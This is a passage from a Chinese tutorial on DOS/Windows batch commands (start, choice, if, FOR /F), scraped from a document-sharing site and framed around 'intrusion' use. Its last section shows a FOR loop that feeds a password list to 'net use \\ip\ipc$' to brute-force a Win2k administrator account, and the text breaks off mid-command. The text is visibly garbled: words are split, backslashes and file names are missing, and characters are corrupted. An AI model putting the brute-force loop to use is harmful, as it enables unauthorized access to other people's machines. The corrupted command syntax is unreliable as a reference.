41、Drive:PathFileNameBatchParameters:labelargume nts參數(shù)Drive:Path FileName指定要調(diào)用的批處理程序的位置和名稱(chēng)。file name參數(shù)必須具有.bat或.cmd 擴(kuò)展名。命令調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來(lái)調(diào)用。入侵常用參數(shù):MIN 開(kāi)始時(shí)窗口最小化SEPARAT在分開(kāi)的空間內(nèi)開(kāi)始 16位 Windows程序HIGH在HIGH優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序REALTIME在 REALTIME優(yōu)先級(jí)類(lèi)別開(kāi)始應(yīng)用程序WAIT啟動(dòng)應(yīng)用程序并等候它結(jié)束parameters 這些為傳送到命令 /程序的參數(shù)執(zhí)行的應(yīng)用

42、程序是 32-位 GUI 應(yīng)用程序時(shí),不等應(yīng)用程序終止就返回命令提 示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。命令choice 使用此命令可以讓用戶(hù)輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/C:參數(shù),C:后應(yīng)寫(xiě)提示可輸入的字符,之間無(wú)空格。它的返回碼為1234如 : ChoiCe /C:dme defrag,mem,end將顯示defrag,mem,endD,M,ESample:的內(nèi)容如下 :eCho offChoiCe /C:dme defrag,mem,endif errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)if errorlevel 2 got

43、o memif errotlevel 1 goto end:defragC:dosdefraggoto end:memmemgoto end:endecho good bye此文件運(yùn)行后,將顯示defrag,mem,endD,M,E用戶(hù)可選擇dme,然后if語(yǔ) 句將作出判斷, d 表示執(zhí)行標(biāo)號(hào)為 defrag 的程序段, m 表示執(zhí)行標(biāo)號(hào)為 mem 的 程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以 goto end將程 序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。命令if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:1、if 參數(shù) = 字符

44、串待執(zhí)行的命令 參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))如 if %1=a format a:if %1= goto noparmsif %2= goto noparms2、if exist文件名待執(zhí)行的命令如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如 if exist edit3、if errorlevel / if not errorlevel 數(shù)字待執(zhí)行的命令如果返回碼等于指定的數(shù) 字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如 if errorlevel 2 goto x2DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給 DOS稱(chēng)為錯(cuò)誤碼erro

45、rlevel或稱(chēng)返回 碼,常見(jiàn)的返回碼為 0、 1。命令for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命 令。在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用 %variablefor%variable|%variablein(set)docommand CommandLineOptions%variable 指定一個(gè)單一字母可替換的參數(shù)。(set)指定一個(gè)或一組文件??梢允褂猛ㄅ浞?。command 指定對(duì)每個(gè)文件執(zhí)行的命令。command-parameters 為特定命令指定參數(shù)或命令行開(kāi)關(guān)。在批處理文件中使用FOR命令時(shí),指定變量請(qǐng)使用%variable而不要 用var

46、iable。變量名稱(chēng)是區(qū)分大小寫(xiě)的,所以 %i不同于%I如果命令擴(kuò)展名被啟 用,下列額外的FOR命令格式會(huì)受到支持 :FOR /D %variable IN (set) DO comma nd comma nd-parameter如果集中包含 通配符,則指定與目錄名匹配,而不與文件名匹配。FOR /R drive:path %variable IN (set) DO comma nd comma nd檢查以 drive:path 為根的目錄樹(shù),指向每個(gè)目錄中的FOR語(yǔ)句。如果在/R后沒(méi)有指定目錄,則使用當(dāng)前目錄。如果集僅為一個(gè)單點(diǎn) (.)字符,則枚舉該目錄樹(shù)。FOR /L%variablelN

47、(start,step,e nd)DOcomma ndcomma nd-pard亥集表示以增 量形式從開(kāi)始到結(jié)束的一個(gè)數(shù)字序列。因此, (1,1,5)將產(chǎn)生序列 1 2 3 4 5, (5,-1,1)將產(chǎn)生序列(5 4 3 2 1)。FOR /F options %variable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (comma nd) DO comma nd 或者,如果有 usebackq 選項(xiàng):FOR /F options %v

48、ariable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (comma nd) DO comma ndfile nameset 為一個(gè)或多個(gè)文件名。繼續(xù)至 U file nameset 中的下一個(gè)文件之前,每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。處理包括讀取文件,將其分成一行行的文字,然后將每行解析成零或更多的符號(hào)。然后用已找至的符號(hào)字符串變量值調(diào)用 For 循 環(huán)。以默認(rèn)方式, /F 通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號(hào)。跳過(guò)空 白行。

49、您可通過(guò)指定可選 options 參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符 串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為 :eol=c -指一個(gè)行注釋字符的結(jié)尾 (就一個(gè))skip=n -指在文件開(kāi)始時(shí)忽略的行數(shù)。delims=xxx -指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。tokens=x,y,m-n -指每行的哪一個(gè)符號(hào)被傳遞至每個(gè)迭代的 for 本身。這會(huì)導(dǎo)致額外變量名稱(chēng)的格式為一個(gè)范圍。通過(guò) nth 符號(hào)指定 m符號(hào)字符串中的最后一個(gè)字符星號(hào),那么額外的變量將在最后一個(gè)符號(hào)解析之分配并接受行的保留文本。usebackq -指定新語(yǔ)法已在下類(lèi)情況中使用 :在作為命令執(zhí)

50、行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在 fi中使用雙引號(hào)擴(kuò)起文件名稱(chēng)。sample1:FOR /F eol=; tokens=2,3* delims=, %i in do command 會(huì)分析中的每一行, 忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和 / 或空格定界符 號(hào)。請(qǐng)注意,這個(gè)for程序體的語(yǔ)句引用i來(lái)取得第二個(gè)符號(hào),引用%j來(lái)取得 第三個(gè)符號(hào),引用 %k來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用 雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使用雙引號(hào),您還需要使用 usebackq選項(xiàng),否則,雙引號(hào)會(huì)被理解成

51、是用作定義某個(gè)要分析的字符串的。%i專(zhuān)門(mén)在for語(yǔ)句中得到說(shuō)明,%j和%k是通過(guò)toke ns二選項(xiàng)專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò) toke門(mén)$=行指定最多26個(gè)符號(hào),只要不試圖說(shuō)明一個(gè)高于字母 z或Z的變量。請(qǐng)記住,F(xiàn)OR變量是單一字母、分大小寫(xiě)和全局的;同時(shí)不能有 52 個(gè)以上都在使用中。您還可以在相鄰字符串上使用 FOR /F分析邏輯;方法是,用單引號(hào)將括號(hào) 之間的 filenameset 括起來(lái)。這樣,該字符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸 入行。最后,您可以用FOR /F命令來(lái)分析命令的輸出。方法是,將括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到

52、一個(gè)子, 其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子 :FOR /F usebackq delims= %i IN (set) DO echo 會(huì)枚舉當(dāng)前環(huán)境中的環(huán) 境變量名稱(chēng)。另外,F(xiàn)OR變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列選項(xiàng)語(yǔ)法:I -刪除任何引號(hào) (),擴(kuò)充 %I%fl揺1擴(kuò)充到一個(gè)完全合格的路徑名%dl僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)%pI -僅將 %I 擴(kuò)充到一個(gè)路徑%nl僅將%I擴(kuò)充到一個(gè)文件名%xI僅將%I擴(kuò)充到一個(gè)文件擴(kuò)展名%sl -擴(kuò)充的路徑只含有短名%aI將%I擴(kuò)充到文件的文件屬性%tI揺%I擴(kuò)充到文件的日期/時(shí)間%zI將%I擴(kuò)充到文件的大小%$PATH:I查找

53、列在路徑環(huán)境變量的目錄,并將 %I擴(kuò)充到找到的第一個(gè)完 全合格的名稱(chēng)。如果環(huán)境變量未被定義,或者沒(méi)有找到文件,此組合鍵會(huì)擴(kuò)充空字符串可以組合修飾符來(lái)得到多重結(jié)果 :%dpI僅將%I擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑%nxl僅將%I擴(kuò)充到一個(gè)文件名和擴(kuò)展名%fsI僅將%I擴(kuò)充到一個(gè)帶有短名的完整路徑名%dp$PATH:i查找列在路徑環(huán)境變量的目錄,并將 1擴(kuò)充到找到的第一個(gè) 驅(qū)動(dòng)器號(hào)和路徑。%ftzaI將%I擴(kuò)充到類(lèi)似輸出線路的DIR在以上例子中,%I和PATH可用其他有效數(shù)值代替。語(yǔ)法用一個(gè)有效的 FOR變量名終止。選取類(lèi)似I的大寫(xiě)變量名比較易讀,而且避免與不分大小寫(xiě) 的組合鍵混淆。以上是MS的官方幫助,下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下 For命令在入侵中的用途。sample2:利用For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo) Win2k主機(jī)的暴力密碼破解。我們用 net use ipipc$ password /u:administrator 來(lái)嘗試這和目標(biāo)主機(jī)進(jìn) 行連接,當(dāng)成功時(shí)記下密碼。最主要的命令是一條: for /f i% in do net useipipc$ i%/u:administrator用i%來(lái)表示admin的密碼,在中這個(gè)取i%的值用net use命令來(lái)連接。然 后將程序運(yùn)行結(jié)果傳遞給 find 命令for/fi%indonetuseipi

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論